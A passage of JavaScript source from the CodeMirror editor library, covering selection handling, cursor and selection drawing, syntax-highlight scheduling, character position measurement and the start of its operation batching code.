set of ranges, and // build a selection out of it. 'Consumes' ranges array (modifying // it). function normalizeSelection(ranges, primIndex) { var prim = ranges[primIndex]; ranges.sort(function(a, b) { return cmp(a.from(), b.from()); }); primIndex = indexOf(ranges, prim); for (var i = 1; i < ranges.length; i++) { var cur = ranges[i], prev = ranges[i - 1]; if (cmp(prev.to(), cur.from()) >= 0) { var from = minPos(prev.from(), cur.from()), to = maxPos(prev.to(), cur.to()); var inv = prev.empty() ? cur.from() == cur.head : prev.from() == prev.head; if (i <= primIndex) --primIndex; ranges.splice(--i, 2, new Range(inv ? to : from, inv ? from : to)); } } return new Selection(ranges, primIndex); } function simpleSelection(anchor, head) { return new Selection([new Range(anchor, head || anchor)], 0); } // Most of the external API clips given positions to make sure they // actually exist within the document. function clipLine(doc, n) {return Math.max(doc.first, Math.min(n, doc.first + doc.size - 1));} function clipPos(doc, pos) { if (pos.line < doc.first) return Pos(doc.first, 0); var last = doc.first + doc.size - 1; if (pos.line > last) return Pos(last, getLine(doc, last).text.length); return clipToLen(pos, getLine(doc, pos.line).text.length); } function clipToLen(pos, linelen) { var ch = pos.ch; if (ch == null || ch > linelen) return Pos(pos.line, linelen); else if (ch < 0) return Pos(pos.line, 0); else return pos; } function isLine(doc, l) {return l >= doc.first && l < doc.first + doc.size;} function clipPosArray(doc, array) { for (var out = [], i = 0; i < array.length; i++) out[i] = clipPos(doc, array[i]); return out; } // SELECTION UPDATES // The 'scroll' parameter given to many of these indicated whether // the new cursor position should be scrolled into view after // modifying the selection. // If shift is held or the extend flag is set, extends a range to // include a given position (and optionally a second position). // Otherwise, simply returns the range between the given positions. // Used for cursor motion and such. function extendRange(doc, range, head, other) { if (doc.cm && doc.cm.display.shift || doc.extend) { var anchor = range.anchor; if (other) { var posBefore = cmp(head, anchor) < 0; if (posBefore != (cmp(other, anchor) < 0)) { anchor = head; head = other; } else if (posBefore != (cmp(head, other) < 0)) { head = other; } } return new Range(anchor, head); } else { return new Range(other || head, head); } } // Extend the primary selection range, discard the rest. function extendSelection(doc, head, other, options) { setSelection(doc, new Selection([extendRange(doc, doc.sel.primary(), head, other)], 0), options); } // Extend all selections (pos is an array of selections with length // equal the number of selections) function extendSelections(doc, heads, options) { for (var out = [], i = 0; i < doc.sel.ranges.length; i++) out[i] = extendRange(doc, doc.sel.ranges[i], heads[i], null); var newSel = normalizeSelection(out, doc.sel.primIndex); setSelection(doc, newSel, options); } // Updates a single range in the selection. function replaceOneSelection(doc, i, range, options) { var ranges = doc.sel.ranges.slice(0); ranges[i] = range; setSelection(doc, normalizeSelection(ranges, doc.sel.primIndex), options); } // Reset the selection to a single range. function setSimpleSelection(doc, anchor, head, options) { setSelection(doc, simpleSelection(anchor, head), options); } // Give beforeSelectionChange handlers a change to influence a // selection update. function filterSelectionChange(doc, sel) { var obj = { ranges: sel.ranges, update: function(ranges) { this.ranges = []; for (var i = 0; i < ranges.length; i++) this.ranges[i] = new Range(clipPos(doc, ranges[i].anchor), clipPos(doc, ranges[i].head)); } }; signal(doc, "beforeSelectionChange", doc, obj); if (doc.cm) signal(doc.cm, "beforeSelectionChange", doc.cm, obj); if (obj.ranges != sel.ranges) return normalizeSelection(obj.ranges, obj.ranges.length - 1); else return sel; } function setSelectionReplaceHistory(doc, sel, options) { var done = doc.history.done, last = lst(done); if (last && last.ranges) { done[done.length - 1] = sel; setSelectionNoUndo(doc, sel, options); } else { setSelection(doc, sel, options); } } // Set a new selection. function setSelection(doc, sel, options) { setSelectionNoUndo(doc, sel, options); addSelectionToHistory(doc, doc.sel, doc.cm ? doc.cm.curOp.id : NaN, options); } function setSelectionNoUndo(doc, sel, options) { if (hasHandler(doc, "beforeSelectionChange") || doc.cm && hasHandler(doc.cm, "beforeSelectionChange")) sel = filterSelectionChange(doc, sel); var bias = options && options.bias || (cmp(sel.primary().head, doc.sel.primary().head) < 0 ? -1 : 1); setSelectionInner(doc, skipAtomicInSelection(doc, sel, bias, true)); if (!(options && options.scroll === false) && doc.cm) ensureCursorVisible(doc.cm); } function setSelectionInner(doc, sel) { if (sel.equals(doc.sel)) return; doc.sel = sel; if (doc.cm) { doc.cm.curOp.updateInput = doc.cm.curOp.selectionChanged = true; signalCursorActivity(doc.cm); } signalLater(doc, "cursorActivity", doc); } // Verify that the selection does not partially select any atomic // marked ranges. function reCheckSelection(doc) { setSelectionInner(doc, skipAtomicInSelection(doc, doc.sel, null, false), sel_dontScroll); } // Return a selection that does not partially select any atomic // ranges. function skipAtomicInSelection(doc, sel, bias, mayClear) { var out; for (var i = 0; i < sel.ranges.length; i++) { var range = sel.ranges[i]; var newAnchor = skipAtomic(doc, range.anchor, bias, mayClear); var newHead = skipAtomic(doc, range.head, bias, mayClear); if (out || newAnchor != range.anchor || newHead != range.head) { if (!out) out = sel.ranges.slice(0, i); out[i] = new Range(newAnchor, newHead); } } return out ? normalizeSelection(out, sel.primIndex) : sel; } // Ensure a given position is not inside an atomic range. function skipAtomic(doc, pos, bias, mayClear) { var flipped = false, curPos = pos; var dir = bias || 1; doc.cantEdit = false; search: for (;;) { var line = getLine(doc, curPos.line); if (line.markedSpans) { for (var i = 0; i < line.markedSpans.length; ++i) { var sp = line.markedSpans[i], m = sp.marker; if ((sp.from == null || (m.inclusiveLeft ? sp.from <= curPos.ch : sp.from < curPos.ch)) && (sp.to == null || (m.inclusiveRight ? sp.to >= curPos.ch : sp.to > curPos.ch))) { if (mayClear) { signal(m, "beforeCursorEnter"); if (m.explicitlyCleared) { if (!line.markedSpans) break; else {--i; continue;} } } if (!m.atomic) continue; var newPos = m.find(dir < 0 ? -1 : 1); if (cmp(newPos, curPos) == 0) { newPos.ch += dir; if (newPos.ch < 0) { if (newPos.line > doc.first) newPos = clipPos(doc, Pos(newPos.line - 1)); else newPos = null; } else if (newPos.ch > line.text.length) { if (newPos.line < doc.first + doc.size - 1) newPos = Pos(newPos.line + 1, 0); else newPos = null; } if (!newPos) { if (flipped) { // Driven in a corner -- no valid cursor position found at all // -- try again *with* clearing, if we didn't already if (!mayClear) return skipAtomic(doc, pos, bias, true); // Otherwise, turn off editing until further notice, and return the start of the doc doc.cantEdit = true; return Pos(doc.first, 0); } flipped = true; newPos = pos; dir = -dir; } } curPos = newPos; continue search; } } } return curPos; } } // SELECTION DRAWING // Redraw the selection and/or cursor function drawSelection(cm) { var display = cm.display, doc = cm.doc, result = {}; var curFragment = result.cursors = document.createDocumentFragment(); var selFragment = result.selection = document.createDocumentFragment(); for (var i = 0; i < doc.sel.ranges.length; i++) { var range = doc.sel.ranges[i]; var collapsed = range.empty(); if (collapsed || cm.options.showCursorWhenSelecting) drawSelectionCursor(cm, range, curFragment); if (!collapsed) drawSelectionRange(cm, range, selFragment); } // Move the hidden textarea near the cursor to prevent scrolling artifacts if (cm.options.moveInputWithCursor) { var headPos = cursorCoords(cm, doc.sel.primary().head, "div"); var wrapOff = display.wrapper.getBoundingClientRect(), lineOff = display.lineDiv.getBoundingClientRect(); result.teTop = Math.max(0, Math.min(display.wrapper.clientHeight - 10, headPos.top + lineOff.top - wrapOff.top)); result.teLeft = Math.max(0, Math.min(display.wrapper.clientWidth - 10, headPos.left + lineOff.left - wrapOff.left)); } return result; } function showSelection(cm, drawn) { removeChildrenAndAdd(cm.display.cursorDiv, drawn.cursors); removeChildrenAndAdd(cm.display.selectionDiv, drawn.selection); if (drawn.teTop != null) { cm.display.inputDiv.style.top = drawn.teTop + "px"; cm.display.inputDiv.style.left = drawn.teLeft + "px"; } } function updateSelection(cm) { showSelection(cm, drawSelection(cm)); } // Draws a cursor for the given range function drawSelectionCursor(cm, range, output) { var pos = cursorCoords(cm, range.head, "div", null, null, !cm.options.singleCursorHeightPerLine); var cursor = output.appendChild(elt("div", "\u00a0", "CodeMirror-cursor")); cursor.style.left = pos.left + "px"; cursor.style.top = pos.top + "px"; cursor.style.height = Math.max(0, pos.bottom - pos.top) * cm.options.cursorHeight + "px"; if (pos.other) { // Secondary cursor, shown when on a 'jump' in bi-directional text var otherCursor = output.appendChild(elt("div", "\u00a0", "CodeMirror-cursor CodeMirror-secondarycursor")); otherCursor.style.display = ""; otherCursor.style.left = pos.other.left + "px"; otherCursor.style.top = pos.other.top + "px"; otherCursor.style.height = (pos.other.bottom - pos.other.top) * .85 + "px"; } } // Draws the given range as a highlighted selection function drawSelectionRange(cm, range, output) { var display = cm.display, doc = cm.doc; var fragment = document.createDocumentFragment(); var padding = paddingH(cm.display), leftSide = padding.left, rightSide = display.lineSpace.offsetWidth - padding.right; function add(left, top, width, bottom) { if (top < 0) top = 0; top = Math.round(top); bottom = Math.round(bottom); fragment.appendChild(elt("div", null, "CodeMirror-selected", "position: absolute; left: " + left + "px; top: " + top + "px; width: " + (width == null ? rightSide - left : width) + "px; height: " + (bottom - top) + "px")); } function drawForLine(line, fromArg, toArg) { var lineObj = getLine(doc, line); var lineLen = lineObj.text.length; var start, end; function coords(ch, bias) { return charCoords(cm, Pos(line, ch), "div", lineObj, bias); } iterateBidiSections(getOrder(lineObj), fromArg || 0, toArg == null ? lineLen : toArg, function(from, to, dir) { var leftPos = coords(from, "left"), rightPos, left, right; if (from == to) { rightPos = leftPos; left = right = leftPos.left; } else { rightPos = coords(to - 1, "right"); if (dir == "rtl") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; } left = leftPos.left; right = rightPos.right; } if (fromArg == null && from == 0) left = leftSide; if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part add(left, leftPos.top, null, leftPos.bottom); left = leftSide; if (leftPos.bottom < rightPos.top) add(left, leftPos.bottom, null, rightPos.top); } if (toArg == null && to == lineLen) right = rightSide; if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left) start = leftPos; if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right) end = rightPos; if (left < leftSide + 1) left = leftSide; add(left, rightPos.top, right - left, rightPos.bottom); }); return {start: start, end: end}; } var sFrom = range.from(), sTo = range.to(); if (sFrom.line == sTo.line) { drawForLine(sFrom.line, sFrom.ch, sTo.ch); } else { var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line); var singleVLine = visualLine(fromLine) == visualLine(toLine); var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end; var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start; if (singleVLine) { if (leftEnd.top < rightStart.top - 2) { add(leftEnd.right, leftEnd.top, null, leftEnd.bottom); add(leftSide, rightStart.top, rightStart.left, rightStart.bottom); } else { add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom); } } if (leftEnd.bottom < rightStart.top) add(leftSide, leftEnd.bottom, null, rightStart.top); } output.appendChild(fragment); } // Cursor-blinking function restartBlink(cm) { if (!cm.state.focused) return; var display = cm.display; clearInterval(display.blinker); var on = true; display.cursorDiv.style.visibility = ""; if (cm.options.cursorBlinkRate > 0) display.blinker = setInterval(function() { display.cursorDiv.style.visibility = (on = !on) ? "" : "hidden"; }, cm.options.cursorBlinkRate); else if (cm.options.cursorBlinkRate < 0) display.cursorDiv.style.visibility = "hidden"; } // HIGHLIGHT WORKER function startWorker(cm, time) { if (cm.doc.mode.startState && cm.doc.frontier < cm.display.viewTo) cm.state.highlight.set(time, bind(highlightWorker, cm)); } function highlightWorker(cm) { var doc = cm.doc; if (doc.frontier < doc.first) doc.frontier = doc.first; if (doc.frontier >= cm.display.viewTo) return; var end = +new Date + cm.options.workTime; var state = copyState(doc.mode, getStateBefore(cm, doc.frontier)); var changedLines = []; doc.iter(doc.frontier, Math.min(doc.first + doc.size, cm.display.viewTo + 500), function(line) { if (doc.frontier >= cm.display.viewFrom) { // Visible var oldStyles = line.styles; var highlighted = highlightLine(cm, line, state, true); line.styles = highlighted.styles; var oldCls = line.styleClasses, newCls = highlighted.classes; if (newCls) line.styleClasses = newCls; else if (oldCls) line.styleClasses = null; var ischange = !oldStyles || oldStyles.length != line.styles.length || oldCls != newCls && (!oldCls || !newCls || oldCls.bgClass != newCls.bgClass || oldCls.textClass != newCls.textClass); for (var i = 0; !ischange && i < oldStyles.length; ++i) ischange = oldStyles[i] != line.styles[i]; if (ischange) changedLines.push(doc.frontier); line.stateAfter = copyState(doc.mode, state); } else { processLine(cm, line.text, state); line.stateAfter = doc.frontier % 5 == 0 ? copyState(doc.mode, state) : null; } ++doc.frontier; if (+new Date > end) { startWorker(cm, cm.options.workDelay); return true; } }); if (changedLines.length) runInOp(cm, function() { for (var i = 0; i < changedLines.length; i++) regLineChange(cm, changedLines[i], "text"); }); } // Finds the line to start with when starting a parse. Tries to // find a line with a stateAfter, so that it can start with a // valid state. If that fails, it returns the line with the // smallest indentation, which tends to need the least context to // parse correctly. function findStartLine(cm, n, precise) { var minindent, minline, doc = cm.doc; var lim = precise ? -1 : n - (cm.doc.mode.innerMode ? 1000 : 100); for (var search = n; search > lim; --search) { if (search <= doc.first) return doc.first; var line = getLine(doc, search - 1); if (line.stateAfter && (!precise || search <= doc.frontier)) return search; var indented = countColumn(line.text, null, cm.options.tabSize); if (minline == null || minindent > indented) { minline = search - 1; minindent = indented; } } return minline; } function getStateBefore(cm, n, precise) { var doc = cm.doc, display = cm.display; if (!doc.mode.startState) return true; var pos = findStartLine(cm, n, precise), state = pos > doc.first && getLine(doc, pos-1).stateAfter; if (!state) state = startState(doc.mode); else state = copyState(doc.mode, state); doc.iter(pos, n, function(line) { processLine(cm, line.text, state); var save = pos == n - 1 || pos % 5 == 0 || pos >= display.viewFrom && pos < display.viewTo; line.stateAfter = save ? copyState(doc.mode, state) : null; ++pos; }); if (precise) doc.frontier = pos; return state; } // POSITION MEASUREMENT function paddingTop(display) {return display.lineSpace.offsetTop;} function paddingVert(display) {return display.mover.offsetHeight - display.lineSpace.offsetHeight;} function paddingH(display) { if (display.cachedPaddingH) return display.cachedPaddingH; var e = removeChildrenAndAdd(display.measure, elt("pre", "x")); var style = window.getComputedStyle ? window.getComputedStyle(e) : e.currentStyle; var data = {left: parseInt(style.paddingLeft), right: parseInt(style.paddingRight)}; if (!isNaN(data.left) && !isNaN(data.right)) display.cachedPaddingH = data; return data; } // Ensure the lineView.wrapping.heights array is populated. This is // an array of bottom offsets for the lines that make up a drawn // line. When lineWrapping is on, there might be more than one // height. function ensureLineHeights(cm, lineView, rect) { var wrapping = cm.options.lineWrapping; var curWidth = wrapping && cm.display.scroller.clientWidth; if (!lineView.measure.heights || wrapping && lineView.measure.width != curWidth) { var heights = lineView.measure.heights = []; if (wrapping) { lineView.measure.width = curWidth; var rects = lineView.text.firstChild.getClientRects(); for (var i = 0; i < rects.length - 1; i++) { var cur = rects[i], next = rects[i + 1]; if (Math.abs(cur.bottom - next.bottom) > 2) heights.push((cur.bottom + next.top) / 2 - rect.top); } } heights.push(rect.bottom - rect.top); } } // Find a line map (mapping character offsets to text nodes) and a // measurement cache for the given line number. (A line view might // contain multiple lines when collapsed ranges are present.) function mapFromLineView(lineView, line, lineN) { if (lineView.line == line) return {map: lineView.measure.map, cache: lineView.measure.cache}; for (var i = 0; i < lineView.rest.length; i++) if (lineView.rest[i] == line) return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i]}; for (var i = 0; i < lineView.rest.length; i++) if (lineNo(lineView.rest[i]) > lineN) return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i], before: true}; } // Render a line into the hidden node display.externalMeasured. Used // when measurement is needed for a line that's not in the viewport. function updateExternalMeasurement(cm, line) { line = visualLine(line); var lineN = lineNo(line); var view = cm.display.externalMeasured = new LineView(cm.doc, line, lineN); view.lineN = lineN; var built = view.built = buildLineContent(cm, view); view.text = built.pre; removeChildrenAndAdd(cm.display.lineMeasure, built.pre); return view; } // Get a {top, bottom, left, right} box (in line-local coordinates) // for a given character. function measureChar(cm, line, ch, bias) { return measureCharPrepared(cm, prepareMeasureForLine(cm, line), ch, bias); } // Find a line view that corresponds to the given line number. function findViewForLine(cm, lineN) { if (lineN >= cm.display.viewFrom && lineN < cm.display.viewTo) return cm.display.view[findViewIndex(cm, lineN)]; var ext = cm.display.externalMeasured; if (ext && lineN >= ext.lineN && lineN < ext.lineN + ext.size) return ext; } // Measurement can be split in two steps, the set-up work that // applies to the whole line, and the measurement of the actual // character. Functions like coordsChar, that need to do a lot of // measurements in a row, can thus ensure that the set-up work is // only done once. function prepareMeasureForLine(cm, line) { var lineN = lineNo(line); var view = findViewForLine(cm, lineN); if (view && !view.text) view = null; else if (view && view.changes) updateLineForChanges(cm, view, lineN, getDimensions(cm)); if (!view) view = updateExternalMeasurement(cm, line); var info = mapFromLineView(view, line, lineN); return { line: line, view: view, rect: null, map: info.map, cache: info.cache, before: info.before, hasHeights: false }; } // Given a prepared measurement object, measures the position of an // actual character (or fetches it from the cache). function measureCharPrepared(cm, prepared, ch, bias, varHeight) { if (prepared.before) ch = -1; var key = ch + (bias || ""), found; if (prepared.cache.hasOwnProperty(key)) { found = prepared.cache[key]; } else { if (!prepared.rect) prepared.rect = prepared.view.text.getBoundingClientRect(); if (!prepared.hasHeights) { ensureLineHeights(cm, prepared.view, prepared.rect); prepared.hasHeights = true; } found = measureCharInner(cm, prepared, ch, bias); if (!found.bogus) prepared.cache[key] = found; } return {left: found.left, right: found.right, top: varHeight ? found.rtop : found.top, bottom: varHeight ? found.rbottom : found.bottom}; } var nullRect = {left: 0, right: 0, top: 0, bottom: 0}; function measureCharInner(cm, prepared, ch, bias) { var map = prepared.map; var node, start, end, collapse; // First, search the line map for the text node corresponding to, // or closest to, the target character. for (var i = 0; i < map.length; i += 3) { var mStart = map[i], mEnd = map[i + 1]; if (ch < mStart) { start = 0; end = 1; collapse = "left"; } else if (ch < mEnd) { start = ch - mStart; end = start + 1; } else if (i == map.length - 3 || ch == mEnd && map[i + 3] > ch) { end = mEnd - mStart; start = end - 1; if (ch >= mEnd) collapse = "right"; } if (start != null) { node = map[i + 2]; if (mStart == mEnd && bias == (node.insertLeft ? "left" : "right")) collapse = bias; if (bias == "left" && start == 0) while (i && map[i - 2] == map[i - 3] && map[i - 1].insertLeft) { node = map[(i -= 3) + 2]; collapse = "left"; } if (bias == "right" && start == mEnd - mStart) while (i < map.length - 3 && map[i + 3] == map[i + 4] && !map[i + 5].insertLeft) { node = map[(i += 3) + 2]; collapse = "right"; } break; } } var rect; if (node.nodeType == 3) { // If it is a text node, use a range to retrieve the coordinates. for (var i = 0; i < 4; i++) { // Retry a maximum of 4 times when nonsense rectangles are returned while (start && isExtendingChar(prepared.line.text.charAt(mStart + start))) --start; while (mStart + end < mEnd && isExtendingChar(prepared.line.text.charAt(mStart + end))) ++end; if (ie && ie_version < 9 && start == 0 && end == mEnd - mStart) { rect = node.parentNode.getBoundingClientRect(); } else if (ie && cm.options.lineWrapping) { var rects = range(node, start, end).getClientRects(); if (rects.length) rect = rects[bias == "right" ? rects.length - 1 : 0]; else rect = nullRect; } else { rect = range(node, start, end).getBoundingClientRect() || nullRect; } if (rect.left || rect.right || start == 0) break; end = start; start = start - 1; collapse = "right"; } if (ie && ie_version < 11) rect = maybeUpdateRectForZooming(cm.display.measure, rect); } else { // If it is a widget, simply get the box for the whole widget. if (start > 0) collapse = bias = "right"; var rects; if (cm.options.lineWrapping && (rects = node.getClientRects()).length > 1) rect = rects[bias == "right" ? rects.length - 1 : 0]; else rect = node.getBoundingClientRect(); } if (ie && ie_version < 9 && !start && (!rect || !rect.left && !rect.right)) { var rSpan = node.parentNode.getClientRects()[0]; if (rSpan) rect = {left: rSpan.left, right: rSpan.left + charWidth(cm.display), top: rSpan.top, bottom: rSpan.bottom}; else rect = nullRect; } var rtop = rect.top - prepared.rect.top, rbot = rect.bottom - prepared.rect.top; var mid = (rtop + rbot) / 2; var heights = prepared.view.measure.heights; for (var i = 0; i < heights.length - 1; i++) if (mid < heights[i]) break; var top = i ? heights[i - 1] : 0, bot = heights[i]; var result = {left: (collapse == "right" ? rect.right : rect.left) - prepared.rect.left, right: (collapse == "left" ? rect.left : rect.right) - prepared.rect.left, top: top, bottom: bot}; if (!rect.left && !rect.right) result.bogus = true; if (!cm.options.singleCursorHeightPerLine) { result.rtop = rtop; result.rbottom = rbot; } return result; } // Work around problem with bounding client rects on ranges being // returned incorrectly when zoomed on IE10 and below. function maybeUpdateRectForZooming(measure, rect) { if (!window.screen || screen.logicalXDPI == null || screen.logicalXDPI == screen.deviceXDPI || !hasBadZoomedRects(measure)) return rect; var scaleX = screen.logicalXDPI / screen.deviceXDPI; var scaleY = screen.logicalYDPI / screen.deviceYDPI; return {left: rect.left * scaleX, right: rect.right * scaleX, top: rect.top * scaleY, bottom: rect.bottom * scaleY}; } function clearLineMeasurementCacheFor(lineView) { if (lineView.measure) { lineView.measure.cache = {}; lineView.measure.heights = null; if (lineView.rest) for (var i = 0; i < lineView.rest.length; i++) lineView.measure.caches[i] = {}; } } function clearLineMeasurementCache(cm) { cm.display.externalMeasure = null; removeChildren(cm.display.lineMeasure); for (var i = 0; i < cm.display.view.length; i++) clearLineMeasurementCacheFor(cm.display.view[i]); } function clearCaches(cm) { clearLineMeasurementCache(cm); cm.display.cachedCharWidth = cm.display.cachedTextHeight = cm.display.cachedPaddingH = null; if (!cm.options.lineWrapping) cm.display.maxLineChanged = true; cm.display.lineNumChars = null; } function pageScrollX() { return window.pageXOffset || (document.documentElement || document.body).scrollLeft; } function pageScrollY() { return window.pageYOffset || (document.documentElement || document.body).scrollTop; } // Converts a {top, bottom, left, right} box from line-local // coordinates into another coordinate system. Context may be one of // "line", "div" (display.lineDiv), "local"/null (editor), or "page". function intoCoordSystem(cm, lineObj, rect, context) { if (lineObj.widgets) for (var i = 0; i < lineObj.widgets.length; ++i) if (lineObj.widgets[i].above) { var size = widgetHeight(lineObj.widgets[i]); rect.top += size; rect.bottom += size; } if (context == "line") return rect; if (!context) context = "local"; var yOff = heightAtLine(lineObj); if (context == "local") yOff += paddingTop(cm.display); else yOff -= cm.display.viewOffset; if (context == "page" || context == "window") { var lOff = cm.display.lineSpace.getBoundingClientRect(); yOff += lOff.top + (context == "window" ? 0 : pageScrollY()); var xOff = lOff.left + (context == "window" ? 0 : pageScrollX()); rect.left += xOff; rect.right += xOff; } rect.top += yOff; rect.bottom += yOff; return rect; } // Coverts a box from "div" coords to another coordinate system. // Context may be "window", "page", "div", or "local"/null. function fromCoordSystem(cm, coords, context) { if (context == "div") return coords; var left = coords.left, top = coords.top; // First move into "page" coordinate system if (context == "page") { left -= pageScrollX(); top -= pageScrollY(); } else if (context == "local" || !context) { var localBox = cm.display.sizer.getBoundingClientRect(); left += localBox.left; top += localBox.top; } var lineSpaceBox = cm.display.lineSpace.getBoundingClientRect(); return {left: left - lineSpaceBox.left, top: top - lineSpaceBox.top}; } function charCoords(cm, pos, context, lineObj, bias) { if (!lineObj) lineObj = getLine(cm.doc, pos.line); return intoCoordSystem(cm, lineObj, measureChar(cm, lineObj, pos.ch, bias), context); } // Returns a box for a given cursor position, which may have an // 'other' property containing the position of the secondary cursor // on a bidi boundary. function cursorCoords(cm, pos, context, lineObj, preparedMeasure, varHeight) { lineObj = lineObj || getLine(cm.doc, pos.line); if (!preparedMeasure) preparedMeasure = prepareMeasureForLine(cm, lineObj); function get(ch, right) { var m = measureCharPrepared(cm, preparedMeasure, ch, right ? "right" : "left", varHeight); if (right) m.left = m.right; else m.right = m.left; return intoCoordSystem(cm, lineObj, m, context); } function getBidi(ch, partPos) { var part = order[partPos], right = part.level % 2; if (ch == bidiLeft(part) && partPos && part.level < order[partPos - 1].level) { part = order[--partPos]; ch = bidiRight(part) - (part.level % 2 ? 0 : 1); right = true; } else if (ch == bidiRight(part) && partPos < order.length - 1 && part.level < order[partPos + 1].level) { part = order[++partPos]; ch = bidiLeft(part) - part.level % 2; right = false; } if (right && ch == part.to && ch > part.from) return get(ch - 1); return get(ch, right); } var order = getOrder(lineObj), ch = pos.ch; if (!order) return get(ch); var partPos = getBidiPartAt(order, ch); var val = getBidi(ch, partPos); if (bidiOther != null) val.other = getBidi(ch, bidiOther); return val; } // Used to cheaply estimate the coordinates for a position. Used for // intermediate scroll updates. function estimateCoords(cm, pos) { var left = 0, pos = clipPos(cm.doc, pos); if (!cm.options.lineWrapping) left = charWidth(cm.display) * pos.ch; var lineObj = getLine(cm.doc, pos.line); var top = heightAtLine(lineObj) + paddingTop(cm.display); return {left: left, right: left, top: top, bottom: top + lineObj.height}; } // Positions returned by coordsChar contain some extra information. // xRel is the relative x position of the input coordinates compared // to the found position (so xRel > 0 means the coordinates are to // the right of the character position, for example). When outside // is true, that means the coordinates lie outside the line's // vertical range. function PosWithInfo(line, ch, outside, xRel) { var pos = Pos(line, ch); pos.xRel = xRel; if (outside) pos.outside = true; return pos; } // Compute the character position closest to the given coordinates. // Input must be lineSpace-local ("div" coordinate system). function coordsChar(cm, x, y) { var doc = cm.doc; y += cm.display.viewOffset; if (y < 0) return PosWithInfo(doc.first, 0, true, -1); var lineN = lineAtHeight(doc, y), last = doc.first + doc.size - 1; if (lineN > last) return PosWithInfo(doc.first + doc.size - 1, getLine(doc, last).text.length, true, 1); if (x < 0) x = 0; var lineObj = getLine(doc, lineN); for (;;) { var found = coordsCharInner(cm, lineObj, lineN, x, y); var merged = collapsedSpanAtEnd(lineObj); var mergedPos = merged && merged.find(0, true); if (merged && (found.ch > mergedPos.from.ch || found.ch == mergedPos.from.ch && found.xRel > 0)) lineN = lineNo(lineObj = mergedPos.to.line); else return found; } } function coordsCharInner(cm, lineObj, lineNo, x, y) { var innerOff = y - heightAtLine(lineObj); var wrongLine = false, adjust = 2 * cm.display.wrapper.clientWidth; var preparedMeasure = prepareMeasureForLine(cm, lineObj); function getX(ch) { var sp = cursorCoords(cm, Pos(lineNo, ch), "line", lineObj, preparedMeasure); wrongLine = true; if (innerOff > sp.bottom) return sp.left - adjust; else if (innerOff < sp.top) return sp.left + adjust; else wrongLine = false; return sp.left; } var bidi = getOrder(lineObj), dist = lineObj.text.length; var from = lineLeft(lineObj), to = lineRight(lineObj); var fromX = getX(from), fromOutside = wrongLine, toX = getX(to), toOutside = wrongLine; if (x > toX) return PosWithInfo(lineNo, to, toOutside, 1); // Do a binary search between these bounds. for (;;) { if (bidi ? to == from || to == moveVisually(lineObj, from, 1) : to - from <= 1) { var ch = x < fromX || x - fromX <= toX - x ? from : to; var xDiff = x - (ch == from ? fromX : toX); while (isExtendingChar(lineObj.text.charAt(ch))) ++ch; var pos = PosWithInfo(lineNo, ch, ch == from ? fromOutside : toOutside, xDiff < -1 ? -1 : xDiff > 1 ? 1 : 0); return pos; } var step = Math.ceil(dist / 2), middle = from + step; if (bidi) { middle = from; for (var i = 0; i < step; ++i) middle = moveVisually(lineObj, middle, 1); } var middleX = getX(middle); if (middleX > x) {to = middle; toX = middleX; if (toOutside = wrongLine) toX += 1000; dist = step;} else {from = middle; fromX = middleX; fromOutside = wrongLine; dist -= step;} } } var measureText; // Compute the default text height. function textHeight(display) { if (display.cachedTextHeight != null) return display.cachedTextHeight; if (measureText == null) { measureText = elt("pre"); // Measure a bunch of lines, for browsers that compute // fractional heights. for (var i = 0; i < 49; ++i) { measureText.appendChild(document.createTextNode("x")); measureText.appendChild(elt("br")); } measureText.appendChild(document.createTextNode("x")); } removeChildrenAndAdd(display.measure, measureText); var height = measureText.offsetHeight / 50; if (height > 3) display.cachedTextHeight = height; removeChildren(display.measure); return height || 1; } // Compute the default character width. function charWidth(display) { if (display.cachedCharWidth != null) return display.cachedCharWidth; var anchor = elt("span", "xxxxxxxxxx"); var pre = elt("pre", [anchor]); removeChildrenAndAdd(display.measure, pre); var rect = anchor.getBoundingClientRect(), width = (rect.right - rect.left) / 10; if (width > 2) display.cachedCharWidth = width; return width || 10; } // OPERATIONS // Operations are used to wrap a series of changes to the editor // state in such a way that each change won't have to update the // cursor and display (which would be awkward, slow, and // error-prone). Instead, display updates are batched and then all // combined and executed at once. var operationGroup = null; var nextOpId = 0; // Start a new operation. function startOperation(cm) { cm.curOp = { cm: cm, viewChanged: false, // Flag that indicates that lines might need to be redrawn startHeight: cm.doc.height, // Used to detect need to update scrollbar forceUpdate: false, // Used to force a redraw updateInput: null, // Whether to reset the input textarea typing: false, // Whether this reset should be careful to leave existing text (for compositing) changeObjs: null, // Accumulated changes, for firing change events cursorActivityHandlers: null, // Set of handlers to fire cursorActivity on cursorActivityCalled: 0, // Tracks which cursorActivity handlers have been called already selectionChanged: false, // Whether the selection needs to be redrawn updateMaxLine: false, // Set when the widest line needs to be determined anew scrollLeft: null, scrollTop: null, // Intermediate scroll position, not pushed to DOM yet scrollToPos: null, // Used to scroll to a specific position id: ++nextOpId // Unique ID }; if (operationGroup) { operationGroup.ops.push(cm.curOp); } else { cm.curOp.ownsGroup = operationGroup = { ops: [cm.curOp], delayedCallbacks: [] }; } } function fireCallbacksForOps(group) { // Calls delayed callbacks and cursorActivity handlers until no // new ones appear var callbacks = group.delayedCallbacks, i = 0; do { for (; i < callbacks.length; i++) callbacks[i](); for (var j = 0; j < group.ops.length; j++) { var op = group.ops[j]; if (op.cursorActivityHandlers) while (op.cursorActivityCalled < op.cursorActivityHandlers.length) op.cursorActivityHandlers[op.cursorActivityCalled++](op.cm); } } while (i < callbacks.length); } // Finish an operation, updating the display and signalling delayed events function endOperation(cm) { var op = cm.curOp, group = op.ownsGroup; if (!group) return; try { fireCallbacksForOps(group); } finally { operationGroup = null; for (var i = 0; i < group.ops.length; i++) group.ops[i].cm.curOp = null; endOperations(group); } } // The DOM updates done when an operation finishes are batched so // that the minimum number of relayouts are required. function endOperations(group) { var ops = group.ops; for (var i = 0; i < ops.length; i++) // Read DOM endOperation_R1(ops[i]); for (var i = 0; i < ops.length; i++) // Write DOM (maybe) 